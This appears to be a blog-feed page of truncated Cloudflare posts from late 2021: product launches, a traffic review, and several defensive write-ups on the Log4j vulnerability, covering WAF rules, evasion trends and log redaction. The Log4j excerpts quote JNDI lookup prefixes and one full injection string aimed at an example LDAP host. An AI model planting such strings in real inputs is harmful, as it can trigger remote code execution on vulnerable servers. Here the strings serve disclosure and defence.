In 2021, the Internet went for TikTok, space and beyond

The years come and go, Internet traffic continues to grow (at least so far and with some ‘help’ from the pandemic), and Internet applications, be they websites, IoT devices or mobile apps, continue to evolve throughout the year, depending on if they attract human beings.

We’ll have a more broad Internet traffic-related Year in Review 2021 in the next few days (you can check the 2020 one here), but for now, let’s focus on the most popular domains this year according to our data on Cloudflare Radar and those domains’ changes in our popularity ranking. With Alexa.com going away, if you need a domain ranking, you can get it from Cloudflare.

We’ll focus on space (NASA and SpaceX flew higher), e-commerce (Amazon and Taobao rule), and social media (TikTok ‘danced’ to take the crown from Facebook). We’ll also take a little ‘bite’ on video streaming wars. Netflix is a Squid Game of its own and January 2021 was at the highest in our ranking — probably lockdown and pandemic-related.

Chat domains (WhatsApp, what else) will also be present and, of course, the less established metaverse domains of sorts ( Continue reading

Supporting Remix with full stack Cloudflare Pages

We announced the open beta of full stack Cloudflare Pages in November and have since seen widespread uptake from developers looking to add dynamic functionality to their applications. Today, we're excited to announce Pages' support for Remix applications, powered by our full stack platform.

The new kid on the block: Remix

Remix is a new framework that is focused on fully utilizing the power of the web. Like Cloudflare Workers, it uses modern JavaScript APIs, and it places emphasis on web fundamentals such as meaningful HTTP status codes, caching and optimizing for both usability and performance. One of the biggest features of Remix is its transportability: Remix provides a platform-agnostic interface and adapters allowing it to be deployed to a growing number of providers. Cloudflare Workers was available at Remix's launch, but what makes Workers different in this case, is the native compatibility that Workers can offer.

One of the main inspirations for Remix was the way Cloudflare Workers uses native web APIs for handling HTTP requests and responses. It's a brilliant decision because developers are able to reuse knowledge on the server that they gained building apps in the browser! Remix runs natively on Cloudflare Workers, and the results Continue reading

From 0 to 20 billion – How We Built Crawler Hints

In July 2021, as part of Impact Innovation Week, we announced our intention to launch Crawler Hints as a means to reduce the environmental impact of web searches. We spent the weeks following the announcement hard at work, and in October 2021, we announced General Availability for the first iteration of the product. This post explains how we built it, some of the interesting engineering problems we had to solve, and shares some metrics on how it's going so far.

Before We Begin...

Search indexers crawl sites periodically to check for new content. Algorithms vary by search provider, but are often based on either a regular interval or cadence of past updates, and these crawls are often not aligned with real world content changes. This naive crawling approach may harm customer page rank and also works to the detriment of search engines with respect to their operational costs and environmental impact. To make the Internet greener and more energy efficient, the goal of Crawler Hints is to help search indexers make more informed decisions on when content has changed, saving valuable compute cycles/bandwidth and having a net positive environmental impact.

Cloudflare is in an advantageous position to help inform Continue reading

Protection against CVE-2021-45046, the additional Log4j RCE vulnerability

Hot on the heels of CVE-2021-44228 a second Log4J CVE has been filed CVE-2021-45046. The rules that we previously released for CVE-2021-44228 give the same level of protection for this new CVE.

This vulnerability is actively being exploited and anyone using Log4J should update to version 2.16.0 as soon as possible, even if you have previously updated to 2.15.0. The latest version can be found on the Log4J download page.

Customers using the Cloudflare WAF have three rules to help mitigate any exploit attempts:

The mitigation has been split across three rules inspecting HTTP headers, body and URL respectively.

In addition to the above rules we have also released a fourth rule that will protect against a much wider range of attacks at the cost of a higher false positive rate. For that reason we have made it available but not set it to BLOCK by default:

Who Continue reading

An exposed apt signing key and how to improve apt security

Recently, we received a bug bounty report regarding the GPG signing key used for pkg.cloudflareclient.com, the Linux package repository for our Cloudflare WARP products. The report stated that this private key had been exposed. We’ve since rotated this key and we are taking steps to ensure a similar problem can’t happen again. Before you read on, if you are a Linux user of Cloudflare WARP, please follow these instructions to rotate the Cloudflare GPG Public Key trusted by your package manager. This only affects WARP users who have installed WARP on Linux. It does not affect Cloudflare customers of any of our other products or WARP users on mobile devices.

But we also realized that the impact of an improperly secured private key can have consequences that extend beyond the scope of one third-party repository. The remainder of this blog shows how to improve the security of apt with third-party repositories.

The unexpected impact

At first, we thought that the exposed signing key could only be used by an attacker to forge packages distributed through our package repository. However, when reviewing impact for Debian and Ubuntu platforms we found that our instructions were outdated and insecure. In fact, Continue reading

Exploitation of Log4j CVE-2021-44228 before public disclosure and evolution of evasion and exfiltration

In this blog post we will cover WAF evasion patterns and exfiltration attempts seen in the wild, trend data on attempted exploitation, and information on exploitation that we saw prior to the public disclosure of CVE-2021-44228.

In short, we saw limited testing of the vulnerability on December 1, eight days before public disclosure. We saw the first attempt to exploit the vulnerability just nine minutes after public disclosure showing just how fast attackers exploit newly found problems.

We also see mass attempts to evade WAFs that have tried to perform simple blocking, we see mass attempts to exfiltrate data including secret credentials and passwords.

WAF Evasion Patterns and Exfiltration Examples

Since the disclosure of CVE-2021-44228 (now commonly referred to as Log4Shell) we have seen attackers go from using simple attack strings to actively trying to evade blocking by WAFs. WAFs provide a useful tool for stopping external attackers and WAF evasion is commonly attempted to get past simplistic rules.

In the earliest stages of exploitation of the Log4j vulnerability attackers were using un-obfuscated strings typically starting with ${jndi:dns, ${jndi:rmi and ${jndi:ldap and simple rules to look for those patterns were effective.

Quickly after those strings were being blocked and attackers Continue reading

Sanitizing Cloudflare Logs to protect customers from the Log4j vulnerability

On December 9, 2021, the world learned about CVE-2021-44228, a zero-day exploit affecting the Apache Log4j utility.  Cloudflare immediately updated our WAF to help protect against this vulnerability, but we recommend customers update their systems as quickly as possible.

However, we know that many Cloudflare customers consume their logs using software that uses Log4j, so we are also mitigating any exploits attempted via Cloudflare Logs. As of this writing, we are seeing the exploit pattern in logs we send to customers up to 1000 times every second.

Starting immediately, customers can update their Logpush jobs to automatically redact tokens that could trigger this vulnerability. You can read more about this in our developer docs or see details below.

How the attack works

You can read more about how the Log4j vulnerability works in our blog post here. In short, an attacker can add something like ${jndi:ldap://example.com/a} in any string. Log4j will then make a connection on the Internet to retrieve this object.

Cloudflare Logs contain many string fields that are controlled by end-users on the public Internet, such as User Agent and URL path. With this vulnerability, it is possible that a malicious user can cause a remote Continue reading

Maximum redirects, minimum effort: Announcing Bulk Redirects

404: Not Found

The Internet is a dynamic place. Websites are constantly changing as technologies and business practices evolve. What was front-page news is quickly moved into a sub-directory. To ensure website visitors continue to see the correct webpage even if it has been moved, administrators often implement URL redirects.

A URL redirect is a mapping from one location on the Internet to another, effectively telling the visitor's browser that the location of the page has changed, and where they can now find it. This is achieved by providing a virtual ‘link’ between the content’s original and new location.

URL Redirects have typically been implemented as Page Rules within Cloudflare, up to a maximum of 125 URL redirects per zone. This limitation meant customers with a need for more URL redirects had to implement alternative solutions such Cloudflare Workers to achieve their goals.

To simplify the management and implementation of URL redirects at scale we have created Bulk Redirects. Bulk Redirects is a new product that allows an administrator to upload and enable hundreds of thousands of URL redirects within minutes, without having to write a single line of code.

We’ve moved!

Mail forwarding is a product offered by postal Continue reading

How Cloudflare Is Solving Network Interconnection for CIOs

Building a corporate network is hard. We want to enable IT teams to focus on exploring and deploying cutting edge technologies to make employees happier and more productive — not figuring out how to add 100 Mbps of capacity on the third floor of a branch office building.

And yet, as we speak to CIOs and IT teams, we consistently hear of the challenge required to manage organization connectivity. Today, we’re sharing more about how we’re solving connectivity challenges for CIOs and IT teams. There are three parts to our approach: we’re making our network more valuable in terms of the benefit you get from connecting to us; we’re expanding our reach, so we can offer connectivity in more places; and we’re further reducing our provisioning times, so there’s no more need to plan six months in advance.

Making Interconnection Valuable

Cloudflare delivers security, reliability, and performance products as a service, all from our global network. We’ve spent the past week talking about new releases and enhanced functionality — if you haven’t yet, please check out some exciting posts on how to replace your hardware firewall, managing third party tools in the cloud, and protecting your web pages Continue reading

Version and Stage Configuration Changes with HTTP Applications in Beta

Today, we are announcing a closed beta of HTTP Applications: a new way to safely test and deploy changes to your HTTP traffic. HTTP Applications introduce versioning of configuration and the ability to control when changes rollout to HTTP traffic on Cloudflare’s global edge network. Enterprise customers looking for greater control should reach out to their Customer Success Manager to get access.

Issues Encountered in Managing Configurations

Since the very first days of Cloudflare, management of websites and web applications has been done through what we called a Zone, which comes from the concept of a DNS Zone. While this model has served customers well over the years, it does create difficulties in managing edge configuration, namely:

1. Manual effort is required by customers to setup a staging environment.
2. Risk of drift in configuration between production and staging.

In software development, you want to test changes in a safe environment to validate them before they go to production or affect live traffic. In many common software development lifecycles, this means deploying changes to a staging or pre-production environment for testing and validation. The most common way customers do this today on Cloudflare is through the use of two Zones denoted by Continue reading

What’s new with Notifications?

Back in 2019, we blogged about our brand new Notification center as a centralized hub for configuring notifications on your account. Since then, we’ve talked a lot about new types of notifications you can set up, but not as much about updates to the notification platform itself. So what’s new with Notifications?

Why we care about notifications

We know that notifications are incredibly important to our customers. Cloudflare sits in between your Internet property and the rest of the world. When something goes wrong, you want to know right away because it could have a huge impact on your end users. However, you don’t want to have to sit on the Cloudflare Dashboard all day, pressing refresh on analytics pages over and over just to make sure that you don’t miss anything important. This is where Notifications come in. Instead of requiring you to actively monitor your Internet properties, you want Cloudflare to be able to directly inform you when something might be going wrong.

Cloudflare has many different notification types to ensure that you don’t miss anything important. We have notifications to inform you that you’ve been DDoS’d, or that the Firewall is blocking more requests than normal Continue reading

Updates to Cloudflare Security and Privacy Certifications and Reports

Cloudflare’s products and services are protecting more customers than ever with significant expansion over the past year. Earlier this week, we launched Cloudflare Security Center so customers can map their attack surface, review potential security risks and threats to their organization, and have generally fast tracked many offerings to meet the needs of customers.

This rapid expansion has meant ensuring our security, privacy, and risk posture grew accordingly. Customer confidence in our ability to handle their sensitive information in an ever-changing regulatory landscape has to be as solid as our offerings, so we have expanded the scope of our previously-existing compliance validations; not only that, we’ve also managed to obtain a couple of new ones.

What’s New

We’ve had a busy year and focused on our commitment to privacy as well as complying to one of the most rigorous security standards in the industry. We are excited about the following achievements in 2021:

FedRAMP In Process - Cloudflare hit a major milestone by being listed on the FedRAMP Marketplace as ‘In Process’ for receiving an agency authorization at a moderate baseline. Once an Authorization to Operate (ATO) is granted, it will allow agencies and other cloud service providers to leverage Continue reading

All the Platform Improvements We’ve Made in 2021 to Make CIOs Lives Easier

CIO week has been packed with new product innovations to give CIOs the tools they need to secure, protect, and speed up their networks. At Cloudflare, we know that many of the things that matter to CIOs are not just new product announcements — but the improvements to the security and usability of the platform itself. They’re much less visible, but no less important to ensuring our customers can reliably use the growing set of services we provide in a standard and secure manner. While over time best practices and technologies change, we aim to ensure our platform meets the security needs and depth of control that our customers require. In that spirit, we have been busy over the past year delivering important updates to many of our platform services.

Improved SSO Onboarding

Customers need SSO to ensure they can securely control which applications employees can access. Our original iteration of SSO was manual and could be time consuming or error prone for customers to set up. We have streamlined the setup process by leveraging SaaS Applications in Cloudflare Access to allow customers to manage their SSO setup inside the Cloudflare for Teams dashboard. If you are an enterprise customer Continue reading

How Cloudflare security responded to log4j2 vulnerability

At Cloudflare, when we learn about a new security vulnerability, we quickly bring together teams to answer two distinct questions: (1) what can we do to ensure our customers’ infrastructures are protected, and (2) what can we do to ensure that our own environment is secure. Yesterday, December 9, 2021, when a serious vulnerability in the popular Java-based logging package log4j was publicly disclosed, our security teams jumped into action to help respond to the first question and answer the second question. This post explores the second.

We cover the details of how this vulnerability works in a separate blog post: Inside the log4j2 vulnerability (CVE-2021-44228), but in summary, this vulnerability allows an attacker to execute code on a remote server. Because of the widespread use of Java and Log4j, this is likely one of the most serious vulnerabilities on the Internet since both Heartbleed and ShellShock. The vulnerability is listed as CVE-2021-44228. The CVE description states that the vulnerability affects Log4j2 <=2.14.1 and is patched in 2.15. The vulnerability additionally impacts all versions of log4j 1.x; however, it is End of Life and has other security vulnerabilities that will not be fixed. Upgrading Continue reading

Secure how your servers connect to the Internet today

The vulnerability disclosed yesterday in the Java-based logging package, log4j, allows attackers to execute code on a remote server. We’ve updated Cloudflare’s WAF to defend your infrastructure against this 0-day attack. The attack also relies on exploiting servers that are allowed unfettered connectivity to the public Internet. To help solve that challenge, your team can deploy Cloudflare One today to filter and log how your infrastructure connects to any destination.

Securing traffic inbound and outbound

You can read about the vulnerability in more detail in our analysis published earlier today, but the attack starts when an attacker adds a specific string to input that the server logs. Today’s updates to Cloudflare’s WAF block that malicious string from being sent to your servers. We still strongly recommend that you patch your instances of log4j immediately to prevent lateral movement.

If the string has already been logged, the vulnerability compromises servers by tricking them into sending a request to a malicious LDAP server. The destination of the malicious server could be any arbitrary URL. Attackers who control that URL can then respond to the request with arbitrary code that the server can execute.

At the time of this blog, it Continue reading

Actual CVE-2021-44228 payloads captured in the wild

I wrote earlier about how to mitigate CVE-2021-44228 in Log4j, how the vulnerability came about and Cloudflare’s mitigations for our customers. As I write we are rolling out protection for our FREE customers as well because of the vulnerability’s severity.

As we now have many hours of data on scanning and attempted exploitation of the vulnerability we can start to look at actual payloads being used in wild and statistics. Let’s begin with requests that Cloudflare is blocking through our WAF.

We saw a slow ramp up in blocked attacks this morning (times here are UTC) with the largest peak at around 1800 (roughly 20,000 blocked exploit requests per minute). But scanning has been continuous throughout the day. We expect this to continue.

We also took a look at the number of IP addresses that the WAF was blocking. Somewhere between 200 and 400 IPs appear to be actively scanning at any given time.

So far today the largest number of scans or exploitation attempts have come from Canada and then the United States.

Lots of the blocked requests appear to be in the form of reconnaissance to see if a server is actually exploitable. The top blocked exploit string Continue reading

Inside the log4j2 vulnerability (CVE-2021-44228)

Yesterday, December 9, 2021, a very serious vulnerability in the popular Java-based logging package Log4j was disclosed. This vulnerability allows an attacker to execute code on a remote server; a so-called Remote Code Execution (RCE). Because of the widespread use of Java and log4j this is likely one of the most serious vulnerabilities on the Internet since both Heartbleed and ShellShock.

It is CVE-2021-44228 and affects version 2 of log4j between versions 2.0-beta-9 and 2.14.1. It is not present in version 1 of log4j and is patched in 2.15.0.

In this post we explain the history of this vulnerability, how it was introduced, how Cloudflare is protecting our clients. Details of actual attempted exploitation we are seeing blocked by our firewall service are in a separate blog post.

Cloudflare uses some Java-based software and our teams worked to ensure that our systems were not vulnerable or that this vulnerability was mitigated. In parallel, we rolled out firewall rules to protect our customers.

But, if you work for a company that is using Java-based software that uses log4j you should immediately read the section on how to mitigate and protect your systems before reading the rest.

Continue reading

Cloudflare One helps optimize user connectivity to Microsoft 365

We are excited to announce that Cloudflare has joined the Microsoft 365 Networking Partner Program (NPP).  Cloudflare One, which provides an optimized path for traffic from Cloudflare customers to Microsoft 365, recently qualified for the NPP by demonstrating that on-ramps through Cloudflare’s network help optimize user connectivity to Microsoft.

Connecting users to the Internet on a faster network

Customers who deploy Cloudflare One give their team members access to the world’s fastest network, on average, as their on-ramp to the rest of the Internet. Users connect from their devices or offices and reach Cloudflare’s network in over 250 cities around the world. Cloudflare’s network accelerates traffic to its final destination through a combination of intelligent routing and software improvements.

We’re also excited that, in many cases, the final destination that a user visits already sits on Cloudflare’s network. Cloudflare serves over 28M HTTP requests per second, on average, for the millions of customers who secure their applications on our network. When those applications do not run on our network, we can rely on our own global private backbone and our connectivity with over 10,000 networks globally to connect the user.

For Microsoft 365 traffic, we focus on breaking out Continue reading

Argo for Packets is Generally Available

What would you say if we told you your IP network can be faster by 10%, and all you have to do is reach out to your account team to make it happen?

Today, we’re announcing the general availability of Argo for Packets, which provides IP layer network optimizations to supercharge your Cloudflare network services products like Magic Transit (our Layer 3 DDoS protection service), Magic WAN (which lets you build your own SD-WAN on top of Cloudflare), and Cloudflare for Offices (our initiative to provide secure, performant connectivity into thousands of office buildings around the world).

If you’re not familiar with Argo, it’s a Cloudflare product that makes your traffic faster. Argo finds the fastest, most available path for your traffic on the Internet. Every day, Cloudflare carries trillions of requests, connections, and packets across our network and the Internet. Because our network, our customers, and their end users are well distributed globally, all of these requests flowing across our infrastructure paint a great picture of how different parts of the Internet are performing at any given time. Cloudflare leverages this picture to ensure that your traffic takes the fastest path through our infrastructure.

Previously, Argo optimized traffic at Continue reading

Cloudflare announces integrations with MDM companies

At Cloudflare, we are continuously thinking about ways to make the Internet more secure, more reliable and more performant for consumers and businesses of all sizes. Connecting devices safely to applications is critical for the safety of enterprise applications and for the peace of mind of a CIO.

Last January, we launched our Zero Trust platform, Cloudflare for Teams, that protects users, their devices, and their data by replacing legacy security perimeters with Cloudflare’s global edge network. Cloudflare for Teams makes security solutions like Zero Trust Network Access and Secure Web Gateway more accessible, for all companies, regardless of size, scale, or resources. This means building products that are more user-friendly, easier to deploy, and less cumbersome to manage.

The Cloudflare WARP agent encrypts traffic from devices to Cloudflare’s network, and many customers use it as a critical component to extend default-deny controls to where their users are. Today, Cloudflare is rolling out richer documentation on how to deploy WARP with these partners, so your administrators have a streamlined, easy-to-follow process to enroll your entire device fleet.

And we’re excited to announce new integrations with mobile device management vendors Microsoft Intune, Ivanti, JumpCloud, Kandji, and Hexnode to make it Continue reading